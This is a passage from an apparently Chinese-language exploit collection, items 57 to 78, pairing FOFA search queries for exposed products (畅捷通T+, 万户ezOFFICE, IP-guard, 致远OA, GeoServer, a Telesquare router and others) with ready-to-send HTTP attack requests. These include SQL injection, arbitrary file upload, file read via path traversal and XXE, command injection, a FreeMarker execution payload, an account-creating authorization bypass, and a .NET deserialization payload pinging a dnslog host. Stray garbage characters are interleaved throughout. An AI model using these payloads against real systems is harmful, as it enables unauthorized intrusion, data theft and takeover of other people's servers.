"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",( f% M: L6 N$ x% w. H M( w
"MethodName":"Start",/ A: k( D& E) ?) R) G. S
"ObjectInstance":{ }7 {3 L z ?- z' Y) ~
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; R1 N, D8 @; R% i! S "StartInfo": {
, T7 ?' m. o2 J1 U8 |. ?8 o "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0 X% k; y; i- D2 ]( B2 P
"FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw", m, \% f7 U5 u$ j1 N
}
2 c' A6 r) X: t# P }$ K+ @4 ]- I8 V. t
}6 L% J2 X" M2 r6 K
}. X5 |$ ~* E' }6 f% {% \5 f. @0 v
3 D: d( K6 R" u9 p2 S
) M# O) D8 b$ }57. 畅捷通T+ keyEdit.aspx SQL注入
* l7 z3 L& p( U' a' O- y/ dFOFA:app="畅捷通-TPlus", Z5 E' t# { N) z7 J
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
) X+ N [$ k r$ QHost: host7 ~9 V+ F3 K. W' T% j2 B$ j) v
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.368 K3 a1 v) `, Y/ N, a
Accept-Charset: utf-8
+ S* H- b" h1 M1 p& ]: n2 hAccept-Encoding: gzip, deflate" V4 V$ N, m. P/ I& h1 `# F: {( ^1 X
Connection: close
* \9 {; T5 H4 f$ N. W1 J# j5 J
. d- {0 I8 l+ o0 B7 p& @$ M8 V' V' j ]& L) t- J' J9 C! l0 b5 |
58. 畅捷通T+ KeyInfoList.aspx sql注入
% \; R& |5 ?4 K1 s& j2 `1 BFOFA:app="畅捷通-TPlus"" B: D$ k' @. i( `* f
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1: @; R+ {7 Q: J+ _$ |; \( J9 Z0 l
Host: your-ip& }0 K9 i& x5 v
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.366 ?8 H. J+ k$ D" F, U% l
Accept-Charset: utf-8; {1 n$ `) @6 t! u
Accept-Encoding: gzip, deflate% Y6 t1 o7 |' ]# x
Connection: close" |- V8 S$ h8 F
* b% Y- p7 F0 e/ z0 M, F; D& \/ P5 n) f, J4 z4 v
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行) {7 v" V; e: W3 i
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"( a% w0 O2 F5 f) z3 |, J
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.12 z- i/ E9 h# y& Q* i& ~2 n
Host: 192.168.86.128:9090" g; Z X$ P6 V" d' V8 B
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36+ e6 ?. S2 `7 d N/ R/ o
Connection: close" i9 ~5 A G X3 ^" Q; E( n6 q/ E6 @
Content-Length: 1669& o& w, |" M2 R, n4 g
Accept: */*
6 \& y+ n0 s) b7 |$ p+ [7 W' hAccept-Language: en4 E# @( w3 t4 h& x6 Z; x
Content-Type: application/x-www-form-urlencoded% ^/ L' K9 r. b" f8 l3 f
Accept-Encoding: gzip
0 b( _- n3 }$ S% x, Q
( ]( r, B) {! m, N4 t+ Y& [+ yPAYLOAD
/ R/ t( D7 Y' t1 H0 l+ B- ]7 E
2 V- P& g2 b# B' r
* N. i3 z+ i C" A8 T60. 百卓Smart管理平台 importexport.php SQL注入7 O% e. A* L$ C# e* l
FOFA:title="Smart管理平台"& ?1 U& G/ h+ o9 y" `5 d+ w! C
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
# }6 ~2 m" v' w% Q0 F" |3 Q4 LHost:& W5 Y( y) X. o9 p9 c9 t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.366 r- d) n X+ @1 X' ~
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7# ?. e \/ t) h
Accept-Encoding: gzip, deflate+ q+ [: i2 u& _& d( t' S2 z
Accept-Language: zh-CN,zh;q=0.9) i8 r/ }! y- r& K; ~1 A5 n
Connection: close0 ~/ ?5 m' g6 o6 Q! f0 t" ~8 `( \) [/ V
4 y! ~7 I: C- k3 a$ P" H2 w- L1 @0 \# P8 a1 Q
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传, E7 q9 \/ `3 a5 p
FOFA: title="欢迎使用浙大恩特客户资源管理系统"% I2 s. _+ m0 s. T/ a
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1* g' d7 e4 r2 f( k" H3 n
Host: x.x.x.x5 l0 v# E- l0 u1 G
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.158 E* w6 `8 Y1 r6 b
Connection: close
; r8 {: h" z% rContent-Length: 27
/ U$ o; \( f6 l5 m: XAccept: */*
# L: }9 q1 Q4 \6 l1 pAccept-Encoding: gzip, deflate
: s; G( ]+ }2 j7 nAccept-Language: en
- J% x" @) `: fContent-Type: application/x-www-form-urlencoded
/ C; \/ f4 z' A8 O$ O& ~ u& T) g% Y; h& K1 u: ?8 J
8uxssX66eqrqtKObcVa0kid98xa
, E/ w" }) D9 T7 v* o0 H# U! D& e; K5 p4 {
- B# y5 n. ]3 [6 z. x, V
62. IP-guard WebServer 远程命令执行
3 E3 T( A2 X# a t4 uFOFA:"IP-guard" && icon_hash="2030860561"4 D+ L" y# ~0 Q$ l& K5 a
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
& @/ w, S/ d: q: yHost: x.x.x.x7 H |$ \9 ]5 O D t
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36 b- T7 C5 |7 ^. H( `' Y' k7 C
Connection: close# C; Z$ f% a* v- B
Accept: */*
' m4 k% l1 | x+ ~# g2 ZAccept-Language: en
" M+ }, c0 a6 v- f, I6 WAccept-Encoding: gzip
$ ?+ l3 I" }. [% a4 [ Z$ i7 B+ B9 x1 i
$ D3 {$ S Y5 b. R" U访问
! r+ @& F, U* W
8 p& B7 w0 _, j% pGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 B! L, J( L% E- `, Y. |Host: x.x.x.x! r5 k6 g! D' E( l# r: }
% M& Y, M/ v/ s) Y; C7 W1 K4 Q
# g3 \$ L) T% j( T% f, v
63. IP-guard WebServer任意文件读取5 u0 U$ O1 x8 Z+ R. l9 s
IP-guard < 4.82.0609.0% k" q, P5 e3 O/ W5 p4 X
FOFA:icon_hash="2030860561"
8 ]" t0 r; a/ t$ `" e* \" YPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
% ]% H5 ]+ }3 m7 _; o3 wHost: your-ip
+ E6 C+ q% i) R# EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
9 ]7 o+ c; c2 e& j4 G qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7* Z5 x8 X3 B6 C$ m
Accept-Encoding: gzip, deflate
+ [* ?/ `; M o0 Q3 U2 tAccept-Language: zh-CN,zh;q=0.95 R/ L& a2 m9 v x
Connection: close
9 ~8 P9 f3 m) D% b" lContent-Type: application/x-www-form-urlencoded& s% C4 A. h+ V/ A2 P
- q. |, O( I4 i+ m
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
% g( R3 b0 P+ m; m( W- {% Z, H# c6 ?9 P' U9 W3 y
64. 捷诚管理信息系统CWSFinanceCommon SQL注入4 _9 ]4 Z; t. a# I
FOFA:body="/Scripts/EnjoyMsg.js"
0 e: X k$ j% ~, OPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
; e4 e+ M. ^6 ?5 o w0 @7 VHost: 192.168.86.128:9001; d8 J% K8 Z/ q$ M8 @
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.368 t5 t2 E! }- K. O% C
Connection: close3 o7 x- {5 J8 m+ ~) ]0 |1 y: ?+ x
Content-Length: 369
Q" Y- K0 s3 A; m9 {2 c& \! vAccept: */*
4 W# n3 R0 `. r3 u H uAccept-Language: en
; \1 t, m7 T6 _Content-Type: text/xml; charset=utf-8
) O I. @. t, [4 F. Q! JAccept-Encoding: gzip
8 e; `' d% W% j# x3 T
! n& h+ K' `# N E+ f; b+ K8 X<?xml version="1.0" encoding="utf-8"?>
$ g& S& F1 _4 W i# W8 c+ n<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
0 M6 B1 T8 Q$ y5 {7 M# V; |1 k: V<soap:Body>
, g0 i, ~/ c3 k <GetOSpById xmlns="http://tempuri.org/">- r1 h# W" U2 A
<sId>1';waitfor delay '0:0:5'--+</sId>
8 y" ]* n: N5 g6 m/ j- A; Y; z, o </GetOSpById>
+ q7 c0 x( O3 f, R) z) k4 ^6 _ </soap:Body>
+ Z" Z$ `4 n7 {</soap:Envelope>0 X% }8 q1 k. {/ e# b- `, q8 k
3 X$ _1 A0 N/ X
+ a9 R4 S: J( o7 B' R, \65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
' M/ W! Z% H0 o" NFOFA:title="欢迎使用脸爱云 一脸通智慧管理平台"$ L# N; C% a1 [
响应200即成功创建账号test123456/123456
. d0 c. S2 v" l3 a0 iPOST /SystemMng.ashx HTTP/1.18 ~% d' }" b) ?7 c% ~
Host:& f; Q1 _7 C+ |% d& [
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1); t% i0 x3 I2 t+ E
Accept-Encoding: gzip, deflate
8 @# Z' X" y1 j3 `' rAccept: */*
, G9 y4 c/ Y/ q7 J3 ?7 _Connection: close1 n9 O+ d6 Y3 W2 W
Accept-Language: en5 H! |3 ^1 }% q3 t) A
Content-Length: 1743 y) P+ I1 d% h9 ~
7 g- ~/ t# E# R; F
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
! D1 q, k# x. \0 G; P* h' M7 X, d4 I+ N+ R1 z% L8 T( `$ P
4 x% Y \. W/ Z" ~, Y
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
. v+ A3 j3 F7 x& F0 [4 ~# nFOFA:app="万户ezOFFICE协同管理平台"
( [: {0 Q$ Q( r4 \6 I A, h/ U5 ^ `, N+ H- Q$ F( F6 K3 } L
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
# Z. M: P, E/ k- t. S/ K3 l( CHost: x.x.x.x E* W1 t, E. u. x5 b- b4 R$ J& Y* y
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36( P7 B5 Y4 A1 |" p
Connection: close
1 f. T% q7 R+ f" O: wAccept: */*
/ s2 D# \/ n5 MAccept-Language: en# }) L& E: W# I0 Y2 Z! N. |4 W
Accept-Encoding: gzip8 ~+ H/ X' ?4 C' r
# c* { l* l: ~" K! _- [
( T3 ]6 l5 _- Y* ^! V, D第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
9 s! U2 M9 y* h) G, L: T( w: H$ m, g0 x t ~2 u0 {3 g
67. 万户ezOFFICE wpsservlet任意文件上传
. q* r2 T* z& B3 tFOFA:app="万户网络-ezOFFICE"' M9 ^7 n) b6 |, i+ L. u; R
newdocId和filename参数表示写入文件名称,dir参数表示写入文件的路径,fileType参数表示文件类型
4 l- q' N: u# M/ y. c9 yPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.15 o6 V; a/ d3 T
Host: x.x.x.x
* v$ }! n0 l' G% g$ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
6 |+ V3 d+ W" n8 ?Content-Length: 1733 n5 }2 u( Y4 E: O" d9 \
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ K. C4 s8 w9 z3 I( \Accept-Encoding: gzip, deflate
4 a' b9 j: C6 z0 w6 c w+ r+ Q& R% _Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3* o8 n& S* B: C
Connection: close
' O5 Y8 P% a' S/ AContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp7 w0 T1 t' v: s# g4 m1 R/ W% v' O# b
DNT: 1
+ R1 q- Z T8 M1 o' VUpgrade-Insecure-Requests: 1% @5 u# |* O! ^6 m
2 c1 g8 C L. \ s1 ~' Q
--ufuadpxathqvxfqnuyuqaozvseiueerp
+ j8 u# }! R' N* v0 mContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"/ O% o' @ P& }6 a. g+ z: N& e# t8 w
$ k0 @& x4 Q( G$ k3 L: U" P% R K
<% out.print("sasdfghjkj");%>8 w) b8 u* t, O3 E2 L( e, i) E% s
--ufuadpxathqvxfqnuyuqaozvseiueerp--) r: F$ o( W. _5 ?/ D1 @4 d1 q0 c
& g, u- S. D2 p, I4 ]" ]9 l
' Y4 z6 c7 {# |' q! |文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp- V$ o. D9 s* ^1 O/ Y- U% n
9 R/ r ^) r1 {6 J; B68. 万户ezOFFICE wf_printnum.jsp SQL注入' i0 d6 k/ R! f& h8 C
FOFA:app="万户ezOFFICE协同管理平台"
* c* S6 M( v& Q& |GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 |2 p, ]# {! |3 ?3 T% X0 \. PHost: {{host}}$ Y! ^/ g) K7 S' w; f L4 f+ p
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
) I+ v/ _6 ~: E" IAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 D! Z' N) q& f" D/ G( Q3 zAccept-Encoding: gzip, deflate# |, d- I- ]9 C! _) s% S* [4 K- Q8 d% B
Accept-Language: zh-CN,zh;q=0.9
" k3 T* n9 G4 gConnection: close* B3 k' ?/ i& n' l8 N
0 D3 p r9 m8 M6 z5 e1 L$ r4 n
6 _1 v8 _ ]+ Z. F
69. 万户 ezOFFICE contract_gd.jsp SQL注入8 r X- W# N0 |, h2 Z0 p
FOFA:app="万户ezOFFICE协同管理平台"+ h1 r0 E4 n* \' \+ ?) V! X* }5 _
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
\/ d9 I1 k" I* DHost: your-ip1 b+ q2 g0 l0 k
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36# {# F+ D9 U! A: E+ h6 J
Accept-Encoding: gzip, deflate
1 ]! |; B, s0 O7 I9 i: x! GAccept: */*8 P$ _1 ?, I9 ]$ V6 z
Connection: keep-alive
& X. ?5 T& l: q# Q" j5 p% \* r& @, p$ U" E8 r
: {" s8 t- Q1 f7 j& Y$ m70. 万户ezEIP success 命令执行8 u5 z" ]2 T- u+ [- H
FOFA:app="万户网络-ezEIP"
m' I; K* Y; u8 O; q9 V: t& Z0 ^. QPOST /member/success.aspx HTTP/1.1
& j: R( ~ g1 n0 f4 o1 C; w0 L2 FHost: {{Hostname}}
6 p5 p" Z+ K% V; G4 I' ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36# o) k/ Z" _( `
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
1 b& H- b" A t8 L, C5 q7 ^0 zContent-Type: application/x-www-form-urlencoded
0 r" a$ D' M7 u) }% R1 iTYPE: C, w+ H3 _/ w: k, e, B- a3 R
Content-Length: 16702
. r5 f5 m6 f) c( D+ x' r4 d8 G
n$ G' x1 C' B6 b, D) o3 D__VIEWSTATE=PAYLOAD ?, t) Q0 O1 i( J7 P) S; g. N
+ t& @( Z7 p1 y* l7 E
' b* h$ t, w1 o0 |" r& k
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入- a2 M+ s0 O8 ?8 x
FOFA:body="PM2项目管理系统BS版增强工具.zip"% b5 z( Y( a4 ~/ p# |+ j) a+ ^9 ~
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.19 r8 {- Q3 d, E) j, F- N! \# @
Host: x.x.x.xx.x.x.x
6 T' |# l7 R& X0 _# x- C" fUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 o; n0 \+ ^! d |7 x$ sConnection: close
4 i& |: h0 w* }3 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.82 r1 r# S. x, H2 s2 A' m' A3 P
Accept-Encoding: gzip, deflate
4 C* Y+ Z8 r' y/ @4 ^# i" rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.20 Q* {+ }; k1 ~: V) d" t* h
Upgrade-Insecure-Requests: 1& S" q1 l# X9 R1 K8 M$ H
, B9 s5 j; L H# [ g6 S
& q+ a2 f; X& Z8 r6 ]6 \72. 致远OA getAjaxDataServlet XXE6 C) C$ H9 f; D' j3 t$ h" p) T+ y, c
FOFA:app="致远互联-OA"$ U5 _& [+ L5 s ]! D
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
x2 }4 A- J5 x+ F! c, a) Y cHost: 192.168.40.131:8099
, Q' A9 }, V5 S/ LUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
( T4 H/ U& r8 y! y& Q& ]5 B- LConnection: close
# j5 L8 b$ o2 o% |- F7 WContent-Length: 583& G$ n5 o U. Y
Content-Type: application/x-www-form-urlencoded
! _0 C. S; R m! b; x: cAccept-Encoding: gzip
% X. Q% D5 a/ n/ _$ W7 B4 c2 _7 ?5 P+ E7 h9 M( O7 ?
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
" P: b/ H! ?' u6 Q0 u$ ?0 B: t5 x) C! `9 x' O$ Y
/ W9 h) d1 h8 y, F5 H) H
73. GeoServer wms远程代码执行8 ~" U/ y7 @( P" {2 W1 ~- g
FOFA:icon_hash=”97540678”
( _; A, l" I1 @$ `' O& r, dPOST /geoserver/wms HTTP/1.1. F/ K0 A- i" q
Host:
7 v0 L) q9 A9 L G6 f/ B( @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.363 i6 H7 a6 ~+ ?5 E
Content-Length: 19811 h. l' u, G" S" b i+ m
Accept-Encoding: gzip, deflate) U9 N m5 U" J& i# y' q
Connection: close
A) a- T5 \2 ^9 M1 B8 uContent-Type: application/xml
) l5 V: Q4 a5 t' b: B8 [SL-CE-SUID: 3
9 X0 E# J5 t+ K1 D$ t; ?4 o9 Z% o) u) }9 o: u7 ?
PAYLOAD
+ U: D8 m* w% G, q- w- w9 c+ a, ~" k3 h* z5 r7 T; s0 P
: ]' [" i5 F" }6 B3 e: E- @
74. 致远M3-server 6_1sp1 反序列化RCE
9 P8 s( W6 M' J7 Z) D( @FOFA:title="M3-Server"6 h" u5 o! ]2 r. q* V9 ^( K
PAYLOAD. m" [6 U7 }5 t
0 {" {! Q9 `: |" b# c) D
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE( | A2 o% Q: t( H
FOFA:app="TELESQUARE-TLR-2005KSH"1 _3 `4 P2 Q a7 _; |9 b
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
8 u! n/ `, b, g. w% `8 T8 @+ oHost: x.x.x.x
: f, n" p& a$ A8 H. b2 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.368 _) r7 K o7 }7 p3 b: s
Connection: close
8 w; P0 x, m- }. i5 oAccept: */*
' |2 A5 j _4 o1 c- G7 }Accept-Language: en& A) | I2 _7 V. W
Accept-Encoding: gzip0 _: g. y; h% O3 B& I
" ]# B1 q& u% @' f3 k9 h1 g
! [! F) e! i& J" j3 A: t
GET /cgi-bin/test28256.txt HTTP/1.1
. y" {# _& |2 L n/ n" s+ f6 W4 V3 GHost: x.x.x.x
+ |* ~; {; `9 q" ?- O4 k
+ p1 G1 y1 o; ?4 `: S. t. V
1 M& W* ~8 j) f) ^# D76. 新开普掌上校园服务管理平台service.action远程命令执行8 X$ t9 ^3 M4 [6 m1 V
FOFA:title="掌上校园服务管理平台"! k' {( o2 u5 a7 E: k
POST /service_transport/service.action HTTP/1.1, _4 R/ S* u% C2 i" A; g
Host: x.x.x.x- G, Y7 _0 }8 M6 x) e* N( k5 c1 p" l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
# O( `! I1 q. C% B- z& F' g; ZConnection: close
# K, R0 e) ?7 O. YContent-Length: 211
0 P! h6 N$ p' a% U9 t; \* M5 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.85 n/ [6 v( T* b, @( M
Accept-Encoding: gzip, deflate5 d# b0 d& }7 L' O; Z5 B' r
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ ^3 ]; M$ ]) aCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
/ f- P, | x7 s2 R% \: ] g2 jUpgrade-Insecure-Requests: 1- D- d0 `* `! e- N' j
* }4 b1 h0 @ x [$ y% Y
{
& i# S0 S) m" ?"command": "GetFZinfo",7 F8 [) M1 g3 \ c) X1 `" G
"UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"( D9 @6 U# _2 z- s* ^
?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"9 }+ j' @/ x; p
}
" l5 s0 H" b) }2 i3 f. c& T- P4 L; ?$ q- v# F* ^% p
7 ]: m$ k# \& LGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
: e" s$ [' o' P( [8 O; c: BHost: x.x.x.x
( L0 {4 S9 f5 `) j. j" \6 v( a! u+ t" r% U% [. p
: s# R7 r: X4 H. b9 G$ b& U
0 d4 Q9 u2 x2 P K77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ C0 ~0 n6 |1 p2 n5 v1 fFOFA:body="F22WEB登陆"
" _4 O$ B4 M$ C- H; U4 sPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1( b7 I: e$ W/ {" v& q7 {
Host: x.x.x.x
. Q. R @6 e( U/ e4 W/ t2 w' w4 Y% tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Y4 W" g9 l7 x7 p2 Q7 K% {( }9 k; D, S
Connection: close
: @# M' h0 }& r/ }: I9 bContent-Length: 433 Z+ _' U! }% M3 O/ x# } l! d' U
Accept: */*
( l5 k1 C8 F+ e; t/ G9 vAccept-Encoding: gzip, deflate- t$ d; A! v3 x
Accept-Language: zh-CN,zh;q=0.9) @' F0 V+ V Z+ p/ \) l. C. O ?6 S; ?
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix* S$ B/ ]( G, d7 E9 c6 b
+ A2 k, b$ Z& v6 D& u: _------------398jnjVTTlDVXHlE7yYnfwBoix0 @3 K; T) s; R, R [
Content-Disposition: form-data; name="folder"
( I4 W+ ^" B5 I" v. y$ z" z% e* `* s# J( {
/upload/udplog
8 D; @5 r# S' n- ?$ g1 l" p# i, S' ]------------398jnjVTTlDVXHlE7yYnfwBoix
6 [/ b1 L/ d( @6 c# E9 ]* K: k- RContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
' V$ X Y/ n! V1 E/ {Content-Type: application/octet-stream
# m% W" W2 O. H' d- O- z" @+ D6 r; {. {7 q5 D7 o5 A6 v
hello1234567
, h6 E4 u; u3 J8 N, z M/ ^% t/ a. ~7 w------------398jnjVTTlDVXHlE7yYnfwBoix; Y1 H, ?* e+ P$ v- H
Content-Disposition: form-data; name="Upload"
( ^: u+ ]8 f" H% e8 q& r2 j* x: F
" K8 A( d- C4 f: x* S, }Submit Query
" m; V& |. w. J w8 F------------398jnjVTTlDVXHlE7yYnfwBoix--
$ E n$ k! o6 D% y$ B+ U4 m* t" F* q: h _' y# |" p& J1 \/ r1 N: P
5 r6 Z% j$ H( q) M. G) [. O; F0 ^
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传1 `8 F0 V7 N* ~9 l9 S/ B1 F$ T
FOFA:icon_hash="2001627082"
6 C0 ^% J2 @6 f0 }% [5 n3 XPOST /Platform/System/FileUpload.ashx HTTP/1.1
! e$ f: C7 w" }6 W2 N* ~, }- yHost: x.x.x.x
' k( ?2 K7 t$ s. g: [ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* K6 h: K0 q& \# H3 M* c+ F. eConnection: close
* D4 x/ A& S0 iContent-Length: 3360 m4 M/ p& l( k R @
Accept-Encoding: gzip- H1 n5 |$ j5 {! c
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
7 k$ C7 a$ R0 w- Z0 Z' T0 t- Q2 l/ S$ r4 L2 D: n
------YsOxWxSvj1KyZow1PTsh98fdu6l% M6 L9 ^: P# q/ J% f2 Y7 P3 ?
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"% S' C1 N! F4 w' h. o [; M% @
Content-Type: image/png
) i m" ~: V7 Z) K# K4 }" |4 a# _5 E! [+ c3 J. W
YsOxWxSvj1KyZow1PTsh98fdu6l; F" R) Q% p5 `8 l w
------YsOxWxSvj1KyZow1PTsh98fdu6l
6 o5 q# V) K/ o, `Content-Disposition: form-data; name="target"
0 _; H2 Y$ O9 ~: {- L6 {1 m' v( a
